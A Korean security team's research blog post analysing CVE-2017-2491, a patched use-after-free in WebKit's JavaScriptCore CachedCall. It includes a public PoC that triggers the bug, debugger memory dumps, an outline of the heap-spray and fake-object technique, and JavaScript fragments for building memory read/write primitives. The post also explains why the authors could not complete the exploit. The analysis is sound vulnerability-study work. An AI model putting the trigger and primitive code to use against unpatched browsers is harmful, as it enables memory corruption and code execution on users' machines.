CVE-2017-2491 삽질기
- 9 mins작성 - LiLi, y0ny0ns0n, powerprove, cheese @ null2root
목차
1. 소개
Case-Study의 주제 중 하나였던 CachedCall 취약점입니다. cve 넘버는 CVE-2017-2491 / ZDI-17-231이며, Samuel Groß과 Niklas Baumstark이 연구해 Pwn2Own 2017 에서 제보한 취약점입니다.
패치되기 전 Commit: 498268047e19b5e310afe767cf21b061a79ea780
패치된 후 Commit: 7d1b3b9542d9870b8524f284e108bea56397bd3a
버그에 대한 자세한 설명은 번역문서를 참고하시길 바랍니다.
2. 환경 구축
CVE-2016-4622를 분석할 때와 동일하게 Xcode 7.3.1이 설치된 OS X EI Captian 10.11.4 가상머신을 사용했습니다.
우선 취약한 버전에 해당하는 WebKit 버전을 가져옵니다:
$ git clone git://git.webkit.org/WebKit.git WebKit
.....
$ cd WebKit
$ git reset --hard 4982680 # or git checkout 4982680
보다 더 쉬운 분석을 위해 Source/JavaScriptCore/jsc.cpp 에 있는 printInternal() 함수에 인자값 주소를 출력하는 코드를 추가했습니다:
static EncodedJSValue printInternal(ExecState* exec, FILE* out)
{
.....
for (unsigned i = 0; i < exec->argumentCount(); ++i) {
if (i)
if (EOF == fputc(' ', out))
goto fail;
fprintf(out, "[+] exec->argument(%d) = %p\n", i, (void *)exec->argument(i).toObject(exec)); # inserted code
auto viewWithString = exec->uncheckedArgument(i).toString(exec)->viewWithUnderlyingString(*exec);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
if (fprintf(out, "%s", viewWithString.view.utf8().data()) < 0)
goto fail;
}
fputc('\n', out);
fail:
fflush(out);
return JSValue::encode(jsUndefined());
}
(사실 이땐 describe()를 비롯한 debugging 함수의 존재 여부도 몰라 이런 번거로운 방법을 썼습니다…ㅠㅠ)
WebKit 빌드 후 JSC 인터프리터에서 아래와 같이 printInternal()에 추가한 코드가 정상적으로 실행되는 것을 확인해야 합니다:
$ Tools/Scripts/build-jsc MACOSX_DEPLOYMENT_TARGET=10.11 SDKROOT=macosx10.11 --debug
.....
** BUILD SUCCEEDED **
$ ./WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/Resources/jsc
>>> print("test");
[+] exec->argument(0) = 0x111dc83e0
test
undefined
>>>
3. 분석
JSC는 Mark And Sweep Algorithm을 이용해 GC를 수행합니다.
GC에 수집되지 않을 객체의 경우 마킹을 통해 표시해둠으로써 할당해제를 피할 수 있는데, CachedCall 클래스의 m_arguments은 외부 인터페이스인 GC엔진이 접근할 수 없는 WTF::Vector라 마킹을 할 수 없어 필요유무와 상관없이 강제로 할당해제됩니다. 그래서 replaceUsingRegExpSearch()
에서 cachedCall.setArgument()로 JSString 객체를 m_arguments의 값으로 세팅한 뒤 GC가 발생하면 cachedCall.call()이 할당해제된 JSString 객체를 인자로 삽입하게되어 UAF 버그가 발생하는 겁니다.
버그를 증명하기 위해 사용된 PoC 코드는 다음과 같습니다:
function i_want_to_break_free() {
var n = 0x10000;
var m = 10;
var regex = new RegExp("(ab)".repeat(n), "g"); // g flag to trigger the vulnerable path // (ab)(ab)(ab)(ab)(ab)...(ab)
var part = "ab".repeat(n); // matches have to be at least size 2 to prevent interning
var s = (part + "|").repeat(m); // ab|ab|ab|ab|ab|ab|ab|....ab|ab|
while (true) {
var cnt = 0;
var ary = [];
s.replace(regex, function() {
for (var i = 1; i < arguments.length-2; ++i) {
if (typeof arguments[i] !== 'string') {
i_am_free = arguments[i];
print(arguments);
print(i);
throw "success";
}
ary[cnt++] = arguments[i]; // root everything to force GC
}
return "x";
});
}
}
try { i_want_to_break_free(); } catch (e) { }
print(typeof(i_am_free)); // will print "object"
중간에 추가한 print()
함수 때문인지 typeof
로 i_am_free
의 자료형을 출력하려고 할 때 object 대신 string이라고 뜨는 경우가 있습니다. 이는 GC가 발생하지 못한 경우의 수로 몇번 다시 실행해보면 GC가 발생해 CachedCall의 UAF 취약점이 트리거될 것입니다.
lldb로 i_am_free
가 위치한 메모리 영역을 찾아 들어가 값을 조회해 보면 다음과 같습니다:
(lldb) x/4gx 0x0000000115b83fc0 <--------------------- arguments[x-2]
0x115b83fc0: 0x0168060000000004 0x0000000200000001
0x115b83fd0: 0x000000010bbc50a0 0x00000000badbeef0
(lldb) x/4gx 0x0000000115b83fe0 <--------------------- arguments[x-1]
0x115b83fe0: 0x0168060000000004 0x0000000200000001
0x115b83ff0: 0x000000010bbc5080 0x00000000badbeef0
(lldb) x/4gx 0x0000000115b7c0a0 <--------------------- arguments[x] = i_am_free
0x115b7c0a0: 0x0000000000000000 0x00000000badbeef0
0x115b7c0b0: 0x00000000badbeef0 0x00000000badbeef0
(lldb) x/4gx 0x0000000115b7c0c0 <--------------------- arguments[x+1]
0x115b7c0c0: 0x0000000115b7c0a0 0x00000000badbeef0
0x115b7c0d0: 0x00000000badbeef0 0x00000000badbeef0
i_am_free
는 0x0000000115b7c0a0
에 위치해 있습니다. 다른 주소들은 arguments
배열 내에서 i_am_free
와 인접해있는 주소들인데, 값을 보시면 i_am_free
가 할당해제(free)된 JSString 객체를 사용하는 걸로 보입니다. 할당해제된 객체는 JSCell 헤더의 위치에 이전에 할당해제된 주소를 덮어씌우는데 i_am_free
는 첫번째로 할당해제된 주소라 값이 0x0000000000000000
인 겁니다.
참고로 0x00000000badbeef0
는 JSC가 할당해제된 객체에 덮어씌우는 값입니다.
익스플로잇 과정은 저 할당해제된 영역에 덮어씌워진 주소를 가짜 JSCell 헤더로 만드는 것으로 시작합니다.
StructureID m_structureID; // dword
IndexingType m_indexingTypeAndMisc; // byte
JSType m_type; // byte
TypeInfo::InlineTypeFlags m_flags; // byte
CellState m_cellState; // byte
ex) JSCell = 0x0168060000000004
m_structureID = 0x00000004
m_indexingTypeAndMisc = 0x00
m_type = 0x06
m_flags = 0x68
m_cellState = 0x01
여기서 중요한 것은 m_indexingTypeAndMisc
입니다. 이 필드는 객체가 보관하고 있는 값의 자료형을 결정하는 역할을 합니다. 예를 들어 0x08
은 ContiguousShape( 혹은 NonArrayWithContiguous라고도 할 수 있음 )니까 값의 자료형은 참조객체(=JSObject)가 됩니다. WebKit 익스플로잇을 위해선 CVE-2016-4622를 소개할 때 썼던 fakeobj()
처럼 가짜객체를 만들 수 있어야 하고, 가짜객체를 만들기 위해선 indexingType의 값이 ContinguousShape 이어야 합니다. 참 다행히도 OS X에서의 Heap 주소는 0x110000000에서 부터 시작해 증가해 나갑니다. 그렇기에 할당해제된 Heap 주소를 JSCell 헤더로 사용해 가짜객체를 만들기 위해선 대략 28GB(=0x700000000) 가량의 Heap 영역 할당이 필요한 겁니다.
추가로, 위에서 PoC 코드에 출력문 몇개를 추가한 것만으로도 취약점의 항상성이 떨어졌었습니다. 익스플로잇 코드의 안전성을 위해선 가능한 한 빌트인되어 있는 API가 아니라 사용자가 직접 정의한 함수들을 사용해야 할 것입니다.
그리고 가짜객체를 통해 R/W Primitive를 구축하는 과정도 약간 복잡해졌습니다.
Before
fakearray hax
+----------------+ +----------------+
| Float64Array | +------------->| Uint8Array |
| | | | |
| JSCell | | | JSCell |
| butterfly | | | butterfly |
| vector ------+---+ | vector |
| length | | length |
| mode | | mode |
+----------------+ +----------------+
After
fakearray hax hax2
+--------------------+ +------------------+ +--------------+
| JSObject | +---->| Uint8Array | +---->| Uint8Array |
| | | | | | | |
| structureID = 0 | | | JSCell | | | JSCell |
| indexingType = 8 | | | butterfly | | | butterfly |
| <rest of JSCell> | | | vector ------+ | vector |
| butterfly ------+ | length = 0x100 | | length |
| | | mode | | mode |
+--------------------+ +------------------+ +--------------+
PoC 코드를 돌려 나온 결과엔 i_am_free
의 Butterfly에 0x00000000badbeef0
가 박혀있지만, 힙스프레이 후 살펴보면 Butterfly에 0x200000001이 박혀 있을 겁니다. 0x200000001
은 힙스프레이로 뿌려진 영역에 속하는 주소이기에 조작가능합니다. 실제로 익스플로잇 코드를 보면 힙스프레이를 할 때 뿌려진 영역안에서의 위치를 찾기 쉬우라고 offset을 삽입합니다. 0x200000001
의 메모리 영역에 container 객체를 삽입하고 주소값을 읽은 뒤, 읽어들인 주소값에 16(=QWORD * 2)을 더해 다시 삽입하면 가짜객체가 생성됩니다.
0x200000001
을 통해 읽어들인 주소에 offset을 더해 다시 삽입하기 위해선 hax와 hax2가 필요하기 때문에 기존의 R/W Primitive 구축 방식과 차이가 발생하는 겁니다. hax를 통해 hax2의 Vector를 수정함으로써 hax2를 통해 값을 읽어들이거나 쓸 수 있게 되는 겁니다.
// 0x200000001을 통해 값을 읽음
a[2] = target_func;
addr = 0;
for (var j = 7; j >= 0; --j)
addr = addr*0x100 + buf[offset + j];
// hax2의 Vector를 통해 값을 읽음
addr += 3*8;
for (var j = 0; j < 8; ++j) {
hax[16+j] = addr & 0xff;
addr /= 0x100;
}
addr = 0;
for (var j = 7; j >= 0; --j)
addr = addr*0x100 + hax2[j];
분석 과정은 이쯤에서 끝났습니다. CachedCall의 취약점을 통해 할당해제된 영역을 사용할 수 있는데, 할당해제된 영역의 첫 부분에 주소가 삽입되니 힙스프레이를 뿌려 indexingType의 0x08인 가짜 ContiguousShape 객체를 만들곤, 마침 이 가짜 객체의 Butterfly에 해당하는 위치에 힙스프레이로 뿌린 영역에 속하는 주소값이 있으니 이걸로 OOB Read & Write 가 가능하고, 그럼 이제 최대한 힙스프레이로 인해 망가진 Heap 영역을 쓰지 않고 JIT 컴파일된 함수의 코드영역에 쉘코드를 삽입한 뒤 호출하면 끝! 이니까 말입니다.
하지만…..
4. 난관
28GB의 힙스프레이는 가상머신에서 돌리기에는 너무나 거대했습니다. 실제 Pwn2Own 때는 RAM 8GB짜리 맥북에서 테스트했다는데 맥의 메모리 압축기능덕에 적은 메모리로도 익스플로잇이 가능했다고 하나 가상머신에서는 아니었습니다.
다른 멤버 몇 분이 맥북을 소지하고 있었습니다만 전부 OS 버전이 Mojave라 CachedCall 취약점이 내제된 WebKit 버전을 빌드하기 위한 Xcode 구버전을 설치할 수 없었습니다. 실제 업무에도 사용하시는 장비라 OS 다운그레이드도 할 수 없었습니다.
차선책으로 메모리가 큰 Linux VPS를 하나 만든뒤, 거기에서 WebKit을 빌드해 테스트 해볼까 해서, 멤버 한 명이 실제로 Linode에서 RAM 64GB 짜리 VPS를 하나 파서 확인해 보았으나, Linux는 Heap주소에 걸린 ASLR 때문에 indexingType을 0x08로 맞출 수 없어 돈만 날리고 실패했다는 슬픈 사연이 있습니다. 이후에도 MAC용 VPS 서비스가 있다는 걸 알게되어 한 번 시도해볼까 고민해봤으나 메모리 압축기능이 과연 가상서버에서도 제대로 동작할까, 또 돈만 날리는 게 아닐까 하는 두려움에 아직까지 선뜻 시도해보지는 못했습니다.
5. 후기
혹시 남는 맥 있으신 분께선 Poc 코드 돌려서 확인해 보시고 알려주시면 감사하겠습니다.